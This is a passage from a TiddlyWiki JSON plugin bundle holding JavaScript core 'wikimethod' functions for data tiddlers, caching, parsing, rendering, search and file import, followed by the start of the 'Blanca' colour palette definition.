sortedTitles[t];\n\t\t\treplaceItem(title);\n\t\t}\n\t\treturn titles;\n\t}\n};\n\nexports.getSubTiddler = function(title,subTiddlerTitle) {\n\tvar bundleInfo = this.getPluginInfo(title) || this.getTiddlerDataCached(title);\n\tif(bundleInfo && bundleInfo.tiddlers) {\n\t\tvar subTiddler = bundleInfo.tiddlers[subTiddlerTitle];\n\t\tif(subTiddler) {\n\t\t\treturn new $tw.Tiddler(subTiddler);\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nRetrieve a tiddler as a JSON string of the fields\n*/\nexports.getTiddlerAsJson = function(title) {\n\tvar tiddler = this.getTiddler(title);\n\tif(tiddler) {\n\t\tvar fields = Object.create(null);\n\t\t$tw.utils.each(tiddler.fields,function(value,name) {\n\t\t\tfields[name] = tiddler.getFieldString(name);\n\t\t});\n\t\treturn JSON.stringify(fields);\n\t} else {\n\t\treturn JSON.stringify({title: title});\n\t}\n};\n\nexports.getTiddlersAsJson = function(filter) {\n\tvar tiddlers = this.filterTiddlers(filter),\n\t\tdata = [];\n\tfor(var t=0;t<tiddlers.length; t++) {\n\t\tvar tiddler = this.getTiddler(tiddlers[t]);\n\t\tif(tiddler) {\n\t\t\tvar fields = new Object();\n\t\t\tfor(var field in tiddler.fields) {\n\t\t\t\tfields[field] = tiddler.getFieldString(field);\n\t\t\t}\n\t\t\tdata.push(fields);\n\t\t}\n\t}\n\treturn JSON.stringify(data,null,$tw.config.preferences.jsonSpaces);\n};\n\n/*\nGet the content of a tiddler as a JavaScript object. How this is done depends on the type of the tiddler:\n\napplication/json: the tiddler JSON is parsed into an object\napplication/x-tiddler-dictionary: the tiddler is parsed as sequence of name:value pairs\n\nOther types currently just return null.\n\ntitleOrTiddler: string tiddler title or a tiddler object\ndefaultData: default data to be returned if the tiddler is missing or doesn't contain data\n\nNote that the same value is returned for repeated calls for the same tiddler data. The value is frozen to prevent modification; otherwise modifications would be visible to all callers\n*/\nexports.getTiddlerDataCached = function(titleOrTiddler,defaultData) {\n\tvar self = this,\n\t\ttiddler = titleOrTiddler;\n\tif(!(tiddler instanceof $tw.Tiddler)) {\n\t\ttiddler = this.getTiddler(tiddler);\t\n\t}\n\tif(tiddler) {\n\t\treturn this.getCacheForTiddler(tiddler.fields.title,\"data\",function() {\n\t\t\t// Return the frozen value\n\t\t\tvar value = self.getTiddlerData(tiddler.fields.title,undefined);\n\t\t\t$tw.utils.deepFreeze(value);\n\t\t\treturn value;\n\t\t}) || defaultData;\n\t} else {\n\t\treturn defaultData;\n\t}\n};\n\n/*\nAlternative, uncached version of getTiddlerDataCached(). The return value can be mutated freely and reused\n*/\nexports.getTiddlerData = function(titleOrTiddler,defaultData) {\n\tvar tiddler = titleOrTiddler,\n\t\tdata;\n\tif(!(tiddler instanceof $tw.Tiddler)) {\n\t\ttiddler = this.getTiddler(tiddler);\t\n\t}\n\tif(tiddler && tiddler.fields.text) {\n\t\tswitch(tiddler.fields.type) {\n\t\t\tcase \"application/json\":\n\t\t\t\t// JSON tiddler\n\t\t\t\ttry {\n\t\t\t\t\tdata = JSON.parse(tiddler.fields.text);\n\t\t\t\t} catch(ex) {\n\t\t\t\t\treturn defaultData;\n\t\t\t\t}\n\t\t\t\treturn data;\n\t\t\tcase \"application/x-tiddler-dictionary\":\n\t\t\t\treturn $tw.utils.parseFields(tiddler.fields.text);\n\t\t}\n\t}\n\treturn defaultData;\n};\n\n/*\nExtract an indexed field from within a data tiddler\n*/\nexports.extractTiddlerDataItem = function(titleOrTiddler,index,defaultText) {\n\tvar data = this.getTiddlerDataCached(titleOrTiddler,Object.create(null)),\n\t\ttext;\n\tif(data && $tw.utils.hop(data,index)) {\n\t\ttext = data[index];\n\t}\n\tif(typeof text === \"string\" || typeof text === \"number\") {\n\t\treturn text.toString();\n\t} else {\n\t\treturn defaultText;\n\t}\n};\n\n/*\nSet a tiddlers content to a JavaScript object. Currently this is done by setting the tiddler's type to \"application/json\" and setting the text to the JSON text of the data.\ntitle: title of tiddler\ndata: object that can be serialised to JSON\nfields: optional hashmap of additional tiddler fields to be set\n*/\nexports.setTiddlerData = function(title,data,fields) {\n\tvar existingTiddler = this.getTiddler(title),\n\t\tnewFields = {\n\t\t\ttitle: title\n\t};\n\tif(existingTiddler && existingTiddler.fields.type === \"application/x-tiddler-dictionary\") {\n\t\tnewFields.text = $tw.utils.makeTiddlerDictionary(data);\n\t} else {\n\t\tnewFields.type = \"application/json\";\n\t\tnewFields.text = JSON.stringify(data,null,$tw.config.preferences.jsonSpaces);\n\t}\n\tthis.addTiddler(new $tw.Tiddler(this.getCreationFields(),existingTiddler,fields,newFields,this.getModificationFields()));\n};\n\n/*\nReturn the content of a tiddler as an array containing each line\n*/\nexports.getTiddlerList = function(title,field,index) {\n\tif(index) {\n\t\treturn $tw.utils.parseStringArray(this.extractTiddlerDataItem(title,index,\"\"));\n\t}\n\tfield = field || \"list\";\n\tvar tiddler = this.getTiddler(title);\n\tif(tiddler) {\n\t\treturn ($tw.utils.parseStringArray(tiddler.fields[field]) || []).slice(0);\n\t}\n\treturn [];\n};\n\n// Return a named global cache object. Global cache objects are cleared whenever a tiddler change occurs\nexports.getGlobalCache = function(cacheName,initializer) {\n\tthis.globalCache = this.globalCache || Object.create(null);\n\tif($tw.utils.hop(this.globalCache,cacheName)) {\n\t\treturn this.globalCache[cacheName];\n\t} else {\n\t\tthis.globalCache[cacheName] = initializer();\n\t\treturn this.globalCache[cacheName];\n\t}\n};\n\nexports.clearGlobalCache = function() {\n\tthis.globalCache = Object.create(null);\n};\n\n// Return the named cache object for a tiddler. If the cache doesn't exist then the initializer function is invoked to create it\nexports.getCacheForTiddler = function(title,cacheName,initializer) {\n\tthis.caches = this.caches || Object.create(null);\n\tvar caches = this.caches[title];\n\tif(caches && caches[cacheName]) {\n\t\treturn caches[cacheName];\n\t} else {\n\t\tif(!caches) {\n\t\t\tcaches = Object.create(null);\n\t\t\tthis.caches[title] = caches;\n\t\t}\n\t\tcaches[cacheName] = initializer();\n\t\treturn caches[cacheName];\n\t}\n};\n\n// Clear all caches associated with a particular tiddler, or, if the title is null, clear all the caches for all the tiddlers\nexports.clearCache = function(title) {\n\tif(title) {\n\t\tthis.caches = this.caches || Object.create(null);\n\t\tif($tw.utils.hop(this.caches,title)) {\n\t\t\tdelete this.caches[title];\n\t\t}\n\t} else {\n\t\tthis.caches = Object.create(null);\n\t}\n};\n\nexports.initParsers = function(moduleType) {\n\t// Install the parser modules\n\t$tw.Wiki.parsers = {};\n\tvar self = this;\n\t$tw.modules.forEachModuleOfType(\"parser\",function(title,module) {\n\t\tfor(var f in module) {\n\t\t\tif($tw.utils.hop(module,f)) {\n\t\t\t\t$tw.Wiki.parsers[f] = module[f]; // Store the parser class\n\t\t\t}\n\t\t}\n\t});\n\t// Use the generic binary parser for any binary types not registered so far\n\tif($tw.Wiki.parsers[\"application/octet-stream\"]) {\n\t\tObject.keys($tw.config.contentTypeInfo).forEach(function(type) {\n\t\t\tif(!$tw.utils.hop($tw.Wiki.parsers,type) && $tw.config.contentTypeInfo[type].encoding === \"base64\") {\n\t\t\t\t$tw.Wiki.parsers[type] = $tw.Wiki.parsers[\"application/octet-stream\"];\n\t\t\t}\n\t\t});\t\t\n\t}\n};\n\n/*\nParse a block of text of a specified MIME type\n\ttype: content type of text to be parsed\n\ttext: text\n\toptions: see below\nOptions include:\n\tparseAsInline: if true, the text of the tiddler will be parsed as an inline run\n\t_canonical_uri: optional string of the canonical URI of this content\n*/\nexports.parseText = function(type,text,options) {\n\ttext = text || \"\";\n\toptions = options || {};\n\t// Select a parser\n\tvar Parser = $tw.Wiki.parsers[type];\n\tif(!Parser && $tw.utils.getFileExtensionInfo(type)) {\n\t\tParser = $tw.Wiki.parsers[$tw.utils.getFileExtensionInfo(type).type];\n\t}\n\tif(!Parser) {\n\t\tParser = $tw.Wiki.parsers[options.defaultType || \"text/vnd.tiddlywiki\"];\n\t}\n\tif(!Parser) {\n\t\treturn null;\n\t}\n\t// Return the parser instance\n\treturn new Parser(type,text,{\n\t\tparseAsInline: options.parseAsInline,\n\t\twiki: this,\n\t\t_canonical_uri: options._canonical_uri\n\t});\n};\n\n/*\nParse a tiddler according to its MIME type\n*/\nexports.parseTiddler = function(title,options) {\n\toptions = $tw.utils.extend({},options);\n\tvar cacheType = options.parseAsInline ? \"inlineParseTree\" : \"blockParseTree\",\n\t\ttiddler = this.getTiddler(title),\n\t\tself = this;\n\treturn tiddler ? this.getCacheForTiddler(title,cacheType,function() {\n\t\t\tif(tiddler.hasField(\"_canonical_uri\")) {\n\t\t\t\toptions._canonical_uri = tiddler.fields._canonical_uri;\n\t\t\t}\n\t\t\treturn self.parseText(tiddler.fields.type,tiddler.fields.text,options);\n\t\t}) : null;\n};\n\nexports.parseTextReference = function(title,field,index,options) {\n\tvar tiddler,text;\n\tif(options.subTiddler) {\n\t\ttiddler = this.getSubTiddler(title,options.subTiddler);\n\t} else {\n\t\ttiddler = this.getTiddler(title);\n\t\tif(field === \"text\" || (!field && !index)) {\n\t\t\tthis.getTiddlerText(title); // Force the tiddler to be lazily loaded\n\t\t\treturn this.parseTiddler(title,options);\n\t\t}\n\t}\n\tif(field === \"text\" || (!field && !index)) {\n\t\tif(tiddler && tiddler.fields) {\n\t\t\treturn this.parseText(tiddler.fields.type,tiddler.fields.text,options);\t\t\t\n\t\t} else {\n\t\t\treturn null;\n\t\t}\n\t} else if(field) {\n\t\tif(field === \"title\") {\n\t\t\ttext = title;\n\t\t} else {\n\t\t\tif(!tiddler || !tiddler.hasField(field)) {\n\t\t\t\treturn null;\n\t\t\t}\n\t\t\ttext = tiddler.fields[field];\n\t\t}\n\t\treturn this.parseText(\"text/vnd.tiddlywiki\",text.toString(),options);\n\t} else if(index) {\n\t\tthis.getTiddlerText(title); // Force the tiddler to be lazily loaded\n\t\ttext = this.extractTiddlerDataItem(tiddler,index,undefined);\n\t\tif(text === undefined) {\n\t\t\treturn null;\n\t\t}\n\t\treturn this.parseText(\"text/vnd.tiddlywiki\",text,options);\n\t}\n};\n\n/*\nMake a widget tree for a parse tree\nparser: parser object\noptions: see below\nOptions include:\ndocument: optional document to use\nvariables: hashmap of variables to set\nparentWidget: optional parent widget for the root node\n*/\nexports.makeWidget = function(parser,options) {\n\toptions = options || {};\n\tvar widgetNode = {\n\t\t\ttype: \"widget\",\n\t\t\tchildren: []\n\t\t},\n\t\tcurrWidgetNode = widgetNode;\n\t// Create set variable widgets for each variable\n\t$tw.utils.each(options.variables,function(value,name) {\n\t\tvar setVariableWidget = {\n\t\t\ttype: \"set\",\n\t\t\tattributes: {\n\t\t\t\tname: {type: \"string\", value: name},\n\t\t\t\tvalue: {type: \"string\", value: value}\n\t\t\t},\n\t\t\tchildren: []\n\t\t};\n\t\tcurrWidgetNode.children = [setVariableWidget];\n\t\tcurrWidgetNode = setVariableWidget;\n\t});\n\t// Add in the supplied parse tree nodes\n\tcurrWidgetNode.children = parser ? parser.tree : [];\n\t// Create the widget\n\treturn new widget.widget(widgetNode,{\n\t\twiki: this,\n\t\tdocument: options.document || $tw.fakeDocument,\n\t\tparentWidget: options.parentWidget\n\t});\n};\n\n/*\nMake a widget tree for transclusion\ntitle: target tiddler title\noptions: as for wiki.makeWidget() plus:\noptions.field: optional field to transclude (defaults to \"text\")\noptions.mode: transclusion mode \"inline\" or \"block\"\noptions.children: optional array of children for the transclude widget\noptions.importVariables: optional importvariables filter string for macros to be included\noptions.importPageMacros: optional boolean; if true, equivalent to passing \"[[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\" to options.importVariables\n*/\nexports.makeTranscludeWidget = function(title,options) {\n\toptions = options || {};\n\tvar parseTreeDiv = {tree: [{\n\t\t\ttype: \"element\",\n\t\t\ttag: \"div\",\n\t\t\tchildren: []}]},\n\t\tparseTreeImportVariables = {\n\t\t\ttype: \"importvariables\",\n\t\t\tattributes: {\n\t\t\t\tfilter: {\n\t\t\t\t\tname: \"filter\",\n\t\t\t\t\ttype: \"string\"\n\t\t\t\t}\n\t\t\t},\n\t\t\tisBlock: false,\n\t\t\tchildren: []},\n\t\tparseTreeTransclude = {\n\t\t\ttype: \"transclude\",\n\t\t\tattributes: {\n\t\t\t\ttiddler: {\n\t\t\t\t\tname: \"tiddler\",\n\t\t\t\t\ttype: \"string\",\n\t\t\t\t\tvalue: title}},\n\t\t\tisBlock: !options.parseAsInline};\n\tif(options.importVariables || options.importPageMacros) {\n\t\tif(options.importVariables) {\n\t\t\tparseTreeImportVariables.attributes.filter.value = options.importVariables;\n\t\t} else if(options.importPageMacros) {\n\t\t\tparseTreeImportVariables.attributes.filter.value = \"[[$:/core/ui/PageMacros]] [all[shadows+tiddlers]tag[$:/tags/Macro]!has[draft.of]]\";\n\t\t}\n\t\tparseTreeDiv.tree[0].children.push(parseTreeImportVariables);\n\t\tparseTreeImportVariables.children.push(parseTreeTransclude);\n\t} else {\n\t\tparseTreeDiv.tree[0].children.push(parseTreeTransclude);\n\t}\n\tif(options.field) {\n\t\tparseTreeTransclude.attributes.field = {type: \"string\", value: options.field};\n\t}\n\tif(options.mode) {\n\t\tparseTreeTransclude.attributes.mode = {type: \"string\", value: options.mode};\n\t}\n\tif(options.children) {\n\t\tparseTreeTransclude.children = options.children;\n\t}\n\treturn $tw.wiki.makeWidget(parseTreeDiv,options);\n};\n\n/*\nParse text in a specified format and render it into another format\n\toutputType: content type for the output\n\ttextType: content type of the input text\n\ttext: input text\n\toptions: see below\nOptions include:\nvariables: hashmap of variables to set\nparentWidget: optional parent widget for the root node\n*/\nexports.renderText = function(outputType,textType,text,options) {\n\toptions = options || {};\n\tvar parser = this.parseText(textType,text,options),\n\t\twidgetNode = this.makeWidget(parser,options);\n\tvar container = $tw.fakeDocument.createElement(\"div\");\n\twidgetNode.render(container,null);\n\treturn outputType === \"text/html\" ? container.innerHTML : container.textContent;\n};\n\n/*\nParse text from a tiddler and render it into another format\n\toutputType: content type for the output\n\ttitle: title of the tiddler to be rendered\n\toptions: see below\nOptions include:\nvariables: hashmap of variables to set\nparentWidget: optional parent widget for the root node\n*/\nexports.renderTiddler = function(outputType,title,options) {\n\toptions = options || {};\n\tvar parser = this.parseTiddler(title,options),\n\t\twidgetNode = this.makeWidget(parser,options);\n\tvar container = $tw.fakeDocument.createElement(\"div\");\n\twidgetNode.render(container,null);\n\treturn outputType === \"text/html\" ? container.innerHTML : (outputType === \"text/plain-formatted\" ? container.formattedTextContent : container.textContent);\n};\n\n/*\nReturn an array of tiddler titles that match a search string\n\ttext: The text string to search for\n\toptions: see below\nOptions available:\n\tsource: an iterator function for the source tiddlers, called source(iterator), where iterator is called as iterator(tiddler,title)\n\texclude: An array of tiddler titles to exclude from the search\n\tinvert: If true returns tiddlers that do not contain the specified string\n\tcaseSensitive: If true forces a case sensitive search\n\tfield: If specified, restricts the search to the specified field, or an array of field names\n\texcludeField: If true, the field options are inverted to specify the fields that are not to be searched\n\tThe search mode is determined by the first of these boolean flags to be true\n\t\tliteral: searches for literal string\n\t\twhitespace: same as literal except runs of whitespace are treated as a single space\n\t\tregexp: treats the search term as a regular expression\n\t\twords: (default) treats search string as a list of tokens, and matches if all tokens are found, regardless of adjacency or ordering\n*/\nexports.search = function(text,options) {\n\toptions = options || {};\n\tvar self = this,\n\t\tt,\n\t\tinvert = !!options.invert;\n\t// Convert the search string into a regexp for each term\n\tvar terms, searchTermsRegExps,\n\t\tflags = options.caseSensitive ? \"\" : \"i\";\n\tif(options.literal) {\n\t\tif(text.length === 0) {\n\t\t\tsearchTermsRegExps = null;\n\t\t} else {\n\t\t\tsearchTermsRegExps = [new RegExp(\"(\" + $tw.utils.escapeRegExp(text) + \")\",flags)];\n\t\t}\n\t} else if(options.whitespace) {\n\t\tterms = [];\n\t\t$tw.utils.each(text.split(/\\s+/g),function(term) {\n\t\t\tif(term) {\n\t\t\t\tterms.push($tw.utils.escapeRegExp(term));\n\t\t\t}\n\t\t});\n\t\tsearchTermsRegExps = [new RegExp(\"(\" + terms.join(\"\\\\s+\") + \")\",flags)];\n\t} else if(options.regexp) {\n\t\ttry {\n\t\t\tsearchTermsRegExps = [new RegExp(\"(\" + text + \")\",flags)];\t\t\t\n\t\t} catch(e) {\n\t\t\tsearchTermsRegExps = null;\n\t\t\tconsole.log(\"Regexp error parsing /(\" + text + \")/\" + flags + \": \",e);\n\t\t}\n\t} else {\n\t\tterms = text.split(/ +/);\n\t\tif(terms.length === 1 && terms[0] === \"\") {\n\t\t\tsearchTermsRegExps = null;\n\t\t} else {\n\t\t\tsearchTermsRegExps = [];\n\t\t\tfor(t=0; t<terms.length; t++) {\n\t\t\t\tsearchTermsRegExps.push(new RegExp(\"(\" + $tw.utils.escapeRegExp(terms[t]) + \")\",flags));\n\t\t\t}\n\t\t}\n\t}\n\t// Accumulate the array of fields to be searched or excluded from the search\n\tvar fields = [];\n\tif(options.field) {\n\t\tif($tw.utils.isArray(options.field)) {\n\t\t\t$tw.utils.each(options.field,function(fieldName) {\n\t\t\t\tif(fieldName) {\n\t\t\t\t\tfields.push(fieldName);\t\t\t\t\t\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tfields.push(options.field);\n\t\t}\n\t}\n\t// Use default fields if none specified and we're not excluding fields (excluding fields with an empty field array is the same as searching all fields)\n\tif(fields.length === 0 && !options.excludeField) {\n\t\tfields.push(\"title\");\n\t\tfields.push(\"tags\");\n\t\tfields.push(\"text\");\n\t}\n\t// Function to check a given tiddler for the search term\n\tvar searchTiddler = function(title) {\n\t\tif(!searchTermsRegExps) {\n\t\t\treturn true;\n\t\t}\n\t\tvar notYetFound = searchTermsRegExps.slice();\n\n\t\tvar tiddler = self.getTiddler(title);\n\t\tif(!tiddler) {\n\t\t\ttiddler = new $tw.Tiddler({title: title, text: \"\", type: \"text/vnd.tiddlywiki\"});\n\t\t}\n\t\tvar contentTypeInfo = $tw.config.contentTypeInfo[tiddler.fields.type] || $tw.config.contentTypeInfo[\"text/vnd.tiddlywiki\"],\n\t\t\tsearchFields;\n\t\t// Get the list of fields we're searching\n\t\tif(options.excludeField) {\n\t\t\tsearchFields = Object.keys(tiddler.fields);\n\t\t\t$tw.utils.each(fields,function(fieldName) {\n\t\t\t\tvar p = searchFields.indexOf(fieldName);\n\t\t\t\tif(p !== -1) {\n\t\t\t\t\tsearchFields.splice(p,1);\n\t\t\t\t}\n\t\t\t});\n\t\t} else {\n\t\t\tsearchFields = fields;\n\t\t}\n\t\tfor(var fieldIndex=0; notYetFound.length>0 && fieldIndex<searchFields.length; fieldIndex++) {\n\t\t\t// Don't search the text field if the content type is binary\n\t\t\tvar fieldName = searchFields[fieldIndex];\n\t\t\tif(fieldName === \"text\" && contentTypeInfo.encoding !== \"utf8\") {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tvar str = tiddler.fields[fieldName],\n\t\t\t\tt;\n\t\t\tif(str) {\n\t\t\t\tif($tw.utils.isArray(str)) {\n\t\t\t\t\t// If the field value is an array, test each regexp against each field array entry and fail if each regexp doesn't match at least one field array entry\n\t\t\t\t\tfor(var s=0; s<str.length; s++) {\n\t\t\t\t\t\tfor(t=0; t<notYetFound.length;) {\n\t\t\t\t\t\t\tif(notYetFound[t].test(str[s])) {\n\t\t\t\t\t\t\t\tnotYetFound.splice(t, 1);\n\t\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\t\tt++;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\t// If the field isn't an array, force it to a string and test each regexp against it and fail if any do not match\n\t\t\t\t\tstr = tiddler.getFieldString(fieldName);\n\t\t\t\t\tfor(t=0; t<notYetFound.length;) {\n\t\t\t\t\t\tif(notYetFound[t].test(str)) {\n\t\t\t\t\t\t\tnotYetFound.splice(t, 1);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tt++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\t\treturn notYetFound.length == 0;\n\t};\n\t// Loop through all the tiddlers doing the search\n\tvar results = [],\n\t\tsource = options.source || this.each;\n\tsource(function(tiddler,title) {\n\t\tif(searchTiddler(title) !== options.invert) {\n\t\t\tresults.push(title);\n\t\t}\n\t});\n\t// Remove any of the results we have to exclude\n\tif(options.exclude) {\n\t\tfor(t=0; t<options.exclude.length; t++) {\n\t\t\tvar p = results.indexOf(options.exclude[t]);\n\t\t\tif(p !== -1) {\n\t\t\t\tresults.splice(p,1);\n\t\t\t}\n\t\t}\n\t}\n\treturn results;\n};\n\n/*\nTrigger a load for a tiddler if it is skinny. Returns the text, or undefined if the tiddler is missing, null if the tiddler is being lazily loaded.\n*/\nexports.getTiddlerText = function(title,defaultText) {\n\tvar tiddler = this.getTiddler(title);\n\t// Return undefined if the tiddler isn't found\n\tif(!tiddler) {\n\t\treturn defaultText;\n\t}\n\tif(tiddler.fields.text !== undefined) {\n\t\t// Just return the text if we've got it\n\t\treturn tiddler.fields.text;\n\t} else {\n\t\t// Tell any listeners about the need to lazily load this tiddler\n\t\tthis.dispatchEvent(\"lazyLoad\",title);\n\t\t// Indicate that the text is being loaded\n\t\treturn null;\n\t}\n};\n\n/*\nCheck whether the text of a tiddler matches a given value. By default, the comparison is case insensitive, and any spaces at either end of the tiddler text is trimmed\n*/\nexports.checkTiddlerText = function(title,targetText,options) {\n\toptions = options || {};\n\tvar text = this.getTiddlerText(title,\"\");\n\tif(!options.noTrim) {\n\t\ttext = text.trim();\n\t}\n\tif(!options.caseSensitive) {\n\t\ttext = text.toLowerCase();\n\t\ttargetText = targetText.toLowerCase();\n\t}\n\treturn text === targetText;\n}\n\n/*\nRead an array of browser File objects, invoking callback(tiddlerFieldsArray) once they're all read\n*/\nexports.readFiles = function(files,options) {\n\tvar callback;\n\tif(typeof options === \"function\") {\n\t\tcallback = options;\n\t\toptions = {};\n\t} else {\n\t\tcallback = options.callback;\n\t}\n\tvar result = [],\n\t\toutstanding = files.length,\n\t\treadFileCallback = function(tiddlerFieldsArray) {\n\t\t\tresult.push.apply(result,tiddlerFieldsArray);\n\t\t\tif(--outstanding === 0) {\n\t\t\t\tcallback(result);\n\t\t\t}\n\t\t};\n\tfor(var f=0; f<files.length; f++) {\n\t\tthis.readFile(files[f],$tw.utils.extend({},options,{callback: readFileCallback}));\n\t}\n\treturn files.length;\n};\n\n/*\nRead a browser File object, invoking callback(tiddlerFieldsArray) with an array of tiddler fields objects\n*/\nexports.readFile = function(file,options) {\n\tvar callback;\n\tif(typeof options === \"function\") {\n\t\tcallback = options;\n\t\toptions = {};\n\t} else {\n\t\tcallback = options.callback;\n\t}\n\t// Get the type, falling back to the filename extension\n\tvar self = this,\n\t\ttype = file.type;\n\tif(type === \"\" || !type) {\n\t\tvar dotPos = file.name.lastIndexOf(\".\");\n\t\tif(dotPos !== -1) {\n\t\t\tvar fileExtensionInfo = $tw.utils.getFileExtensionInfo(file.name.substr(dotPos));\n\t\t\tif(fileExtensionInfo) {\n\t\t\t\ttype = fileExtensionInfo.type;\n\t\t\t}\n\t\t}\n\t}\n\t// Figure out if we're reading a binary file\n\tvar contentTypeInfo = $tw.config.contentTypeInfo[type],\n\t\tisBinary = contentTypeInfo ? contentTypeInfo.encoding === \"base64\" : false;\n\t// Log some debugging information\n\tif($tw.log.IMPORT) {\n\t\tconsole.log(\"Importing file '\" + file.name + \"', type: '\" + type + \"', isBinary: \" + isBinary);\n\t}\n\t// Give the hook a chance to process the drag\n\tif($tw.hooks.invokeHook(\"th-importing-file\",{\n\t\tfile: file,\n\t\ttype: type,\n\t\tisBinary: isBinary,\n\t\tcallback: callback\n\t}) !== true) {\n\t\tthis.readFileContent(file,type,isBinary,options.deserializer,callback);\n\t}\n};\n\n/*\nLower level utility to read the content of a browser File object, invoking callback(tiddlerFieldsArray) with an array of tiddler fields objects\n*/\nexports.readFileContent = function(file,type,isBinary,deserializer,callback) {\n\tvar self = this;\n\t// Create the FileReader\n\tvar reader = new FileReader();\n\t// Onload\n\treader.onload = function(event) {\n\t\tvar text = event.target.result,\n\t\t\ttiddlerFields = {title: file.name || \"Untitled\", type: type};\n\t\tif(isBinary) {\n\t\t\tvar commaPos = text.indexOf(\",\");\n\t\t\tif(commaPos !== -1) {\n\t\t\t\ttext = text.substr(commaPos + 1);\n\t\t\t}\n\t\t}\n\t\t// Check whether this is an encrypted TiddlyWiki file\n\t\tvar encryptedJson = $tw.utils.extractEncryptedStoreArea(text);\n\t\tif(encryptedJson) {\n\t\t\t// If so, attempt to decrypt it with the current password\n\t\t\t$tw.utils.decryptStoreAreaInteractive(encryptedJson,function(tiddlers) {\n\t\t\t\tcallback(tiddlers);\n\t\t\t});\n\t\t} else {\n\t\t\t// Otherwise, just try to deserialise any tiddlers in the file\n\t\t\tcallback(self.deserializeTiddlers(type,text,tiddlerFields,{deserializer: deserializer}));\n\t\t}\n\t};\n\t// Kick off the read\n\tif(isBinary) {\n\t\treader.readAsDataURL(file);\n\t} else {\n\t\treader.readAsText(file);\n\t}\n};\n\n/*\nFind any existing draft of a specified tiddler\n*/\nexports.findDraft = function(targetTitle) {\n\tvar draftTitle = undefined;\n\tthis.forEachTiddler({includeSystem: true},function(title,tiddler) {\n\t\tif(tiddler.fields[\"draft.title\"] && tiddler.fields[\"draft.of\"] === targetTitle) {\n\t\t\tdraftTitle = title;\n\t\t}\n\t});\n\treturn draftTitle;\n}\n\n/*\nCheck whether the specified draft tiddler has been modified.\nIf the original tiddler doesn't exist, create  a vanilla tiddler variable,\nto check if additional fields have been added.\n*/\nexports.isDraftModified = function(title) {\n\tvar tiddler = this.getTiddler(title);\n\tif(!tiddler.isDraft()) {\n\t\treturn false;\n\t}\n\tvar ignoredFields = [\"created\", \"modified\", \"title\", \"draft.title\", \"draft.of\"],\n\t\torigTiddler = this.getTiddler(tiddler.fields[\"draft.of\"]) || new $tw.Tiddler({text:\"\", tags:[]}),\n\t\ttitleModified = tiddler.fields[\"draft.title\"] !== tiddler.fields[\"draft.of\"];\n\treturn titleModified || !tiddler.isEqual(origTiddler,ignoredFields);\n};\n\n/*\nAdd a new record to the top of the history stack\ntitle: a title string or an array of title strings\nfromPageRect: page coordinates of the origin of the navigation\nhistoryTitle: title of history tiddler (defaults to $:/HistoryList)\n*/\nexports.addToHistory = function(title,fromPageRect,historyTitle) {\n\tvar story = new $tw.Story({wiki: this, historyTitle: historyTitle});\n\tstory.addToHistory(title,fromPageRect);\n};\n\n/*\nAdd a new tiddler to the story river\ntitle: a title string or an array of title strings\nfromTitle: the title of the tiddler from which the navigation originated\nstoryTitle: title of story tiddler (defaults to $:/StoryList)\noptions: see story.js\n*/\nexports.addToStory = function(title,fromTitle,storyTitle,options) {\n\tvar story = new $tw.Story({wiki: this, storyTitle: storyTitle});\n\tstory.addToStory(title,fromTitle,options);\n};\n\n/*\nInvoke the available upgrader modules\ntitles: array of tiddler titles to be processed\ntiddlers: hashmap by title of tiddler fields of pending import tiddlers. These can be modified by the upgraders. An entry with no fields indicates a tiddler that was pending import has been suppressed. When entries are added to the pending import the tiddlers hashmap may have entries that are not present in the titles array\nReturns a hashmap of messages keyed by tiddler title.\n*/\nexports.invokeUpgraders = function(titles,tiddlers) {\n\t// Collect up the available upgrader modules\n\tvar self = this;\n\tif(!this.upgraderModules) {\n\t\tthis.upgraderModules = [];\n\t\t$tw.modules.forEachModuleOfType(\"upgrader\",function(title,module) {\n\t\t\tif(module.upgrade) {\n\t\t\t\tself.upgraderModules.push(module);\n\t\t\t}\n\t\t});\n\t}\n\t// Invoke each upgrader in turn\n\tvar messages = {};\n\tfor(var t=0; t<this.upgraderModules.length; t++) {\n\t\tvar upgrader = this.upgraderModules[t],\n\t\t\tupgraderMessages = upgrader.upgrade(this,titles,tiddlers);\n\t\t$tw.utils.extend(messages,upgraderMessages);\n\t}\n\treturn messages;\n};\n\n})();\n\n",
            "type": "application/javascript",
            "module-type": "wikimethod"
        },
        "$:/palettes/Blanca": {
            "title": "$:/palettes/Blanca",
            "name": "Blanca",
            "description": "A clean white palette to let you focus",
            "tags": "$:/tags/Palette",
            "type": "application/x-tiddler-dictionary",
            "text": "alert-background: #ffe476\nalert-border: #b99e2f\nalert-highlight: #881122\nalert-muted-foreground: #b99e2f\nbackground: #ffffff\nblockquote-bar: <<colour muted-foreground>>\nbutton-background:\nbutton-foreground:\nbutton-border:\ncode-background: #f7f7f9\ncode-border: #e1e1e8\ncode-foreground: #dd1144\ndirty-indicator: #ff0000\ndownload-background: #66cccc\ndownload-foreground: <<colour background>>\ndragger-background: <<colour foreground>>\ndragger-foreground: <<colour background>>\ndropdown-background: <<colour background>>\ndropdown-border: <<colour muted-foreground>>\ndropdown-tab-background-selected: #fff\ndropdown-tab-background: #ececec\ndropzone-background: rgba(0,200,0,0.7)\nexternal-link-background-hover: inherit\nexternal-link-background-visited: inherit\nexternal-link-background: inherit\nexternal-link-foreground-hover: inherit\nexternal-link-foreground-visited: #0000aa\nexternal-link-foreground: #0000ee\nforeground: #333333\nmessage-background: #ecf2ff\nmessage-border: #cfd6e6\nmessage-foreground: #547599\nmodal-backdrop: <<colour foreground>>\nmodal-background: <<colour background>>\nmodal-border: #999999\nmodal-footer-background: #f5f5f5\nmodal-footer-border: #dddddd\nmodal-header-border: #eeeeee\nmuted-foreground: #999999\nnotification-background: #ffffdd\nnotification-border: #999999\npage-background: #ffffff\npre-background: #f5f5f5\npre-border: #cccccc\nprimary: #7897f3\nselect-tag-background:\nselect-tag-foreground:\nsidebar-button-foreground: <<colour foreground>>\nsidebar-controls-foreground-hover: #000000\nsidebar-controls-foreground: 